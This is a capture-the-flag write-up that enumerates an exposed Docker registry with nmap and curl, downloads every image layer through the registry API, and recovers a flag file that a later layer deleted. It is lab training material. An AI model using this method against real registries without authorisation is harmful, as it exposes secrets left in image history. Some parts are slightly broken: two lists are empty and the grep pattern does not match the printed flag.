CTF-Writeups

not!Windows registry

Category: Misc / Web / Docker
Points: 504
Author: Mārtiņš #420

“You like Windows registry tasks? Well this is none of that. Have fun.”

The box description hints at “registry”, but it explicitly says it’s not Windows registry. The nmap scan quickly shows why: it’s actually a Docker registry.


Recon

Target IP: 10.240.3.118

Basic host discovery:

ping -c 4 10.240.3.118

Then a service scan:

nmap -sC -sV 10.240.3.118

Relevant result:

Host is up (0.079s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

So there’s a Docker Registry v2 running on port 5000. That matches the “registry” hint, but it’s not Windows at all.


Talking to the Docker Registry

First, verify the registry API is reachable:

curl -s http://10.240.3.118:5000/v2/

Then list repositories (the catalog):

curl -s http://10.240.3.118:5000/v2/_catalog

Output:

{"repositories":["my-cool-webserver"]}

So there’s a single repo: my-cool-webserver.

List tags for this repo:

curl -s http://10.240.3.118:5000/v2/my-cool-webserver/tags/list

One of the tags available was oldest, which I decided to investigate.


Failed attempt: using Docker “normally”

I first tried to just docker pull the image:

docker pull 10.240.3.118:5000/my-cool-webserver:oldest

Got:

permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock

So I retried with sudo:

sudo docker pull 10.240.3.118:5000/my-cool-webserver:oldest

Now Docker complained about HTTPS:

Error response from daemon: Get "https://10.240.3.118:5000/v2/":
http: server gave HTTP response to HTTPS client

This is the classic HTTP-only registry vs Docker expecting HTTPS issue.

I tried to configure an insecure registry via /etc/docker/daemon.json, but on this box there was no docker systemd service:

sudo systemctl restart docker
# → Unit docker.service not found

So I couldn’t (easily) restart Docker, and fighting the local Docker setup was more effort than it was worth.

At this point I switched to pulling the image manually via the Registry HTTP API.


Manual image extraction via Registry API

I worked in a dedicated directory:

mkdir ~/my-cool-webserver-oldest
cd ~/my-cool-webserver-oldest

1. Grab the manifest

For tag oldest:

curl -s   -H "Accept: application/vnd.docker.distribution.manifest.v2+json"   http://10.240.3.118:5000/v2/my-cool-webserver/manifests/oldest   -o manifest.json

Pretty-print (optional, for inspection):

python3 -m json.tool manifest.json | sed -n '1,80p'

The manifest contains a "layers" array with entries like:

{
  "mediaType": "...",
  "size": 123456,
  "digest": "sha256:...."
}

Each digest is a tar layer we can download.

2. Download and extract all layers

I used a small Python helper to automate:

python3 - << 'EOF'
import json, subprocess, os

with open("manifest.json") as f:
    m = json.load(f)

for layer in m["layers"]:
    digest = layer["digest"]              # e.g. "sha256:abcd..."
    print("[*] Handling layer", digest)
    fname = digest.replace(":", "_") + ".tar"

    # Download the blob for this layer
    url = f"http://10.240.3.118:5000/v2/my-cool-webserver/blobs/{digest}"
    print("    Downloading", url, "->", fname)
    subprocess.check_call(["curl", "-s", url, "-o", fname])

    # Extract into a directory with the same base name
    dirname = fname[:-4]
    os.makedirs(dirname, exist_ok=True)
    print("    Extracting to", dirname)
    subprocess.check_call(["tar", "-xf", fname, "-C", dirname])
EOF

This produced multiple directories like:

Each directory represents the filesystem changes of that layer.


Hunting for the flag in the layers

Instead of grepping everything (including big binaries and tars), I searched for filenames containing “flag”:

find . -iname '*flag*' -type f

Result:

./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html
./sha256_7dde473e421c6cc01aa176332e59b9a53200dc1bc9f232fbe58daa6b7c51d878/usr/share/nginx/html/.wh.flag.html

Observations:

That means: the current image hides the flag, but older layers still contain it. Exactly what we’re seeing.

I then read flag.html from the earlier layer:

cat ./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html

To cleanly extract just the flag:

grep -o 'MCTF{[^}]*}'   ./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html

This revealed the flag:

MCTF25{d0ck3r_d03s_n0t_f0rg3t_d0ck3r_d03s_n0t_f0rgiv3}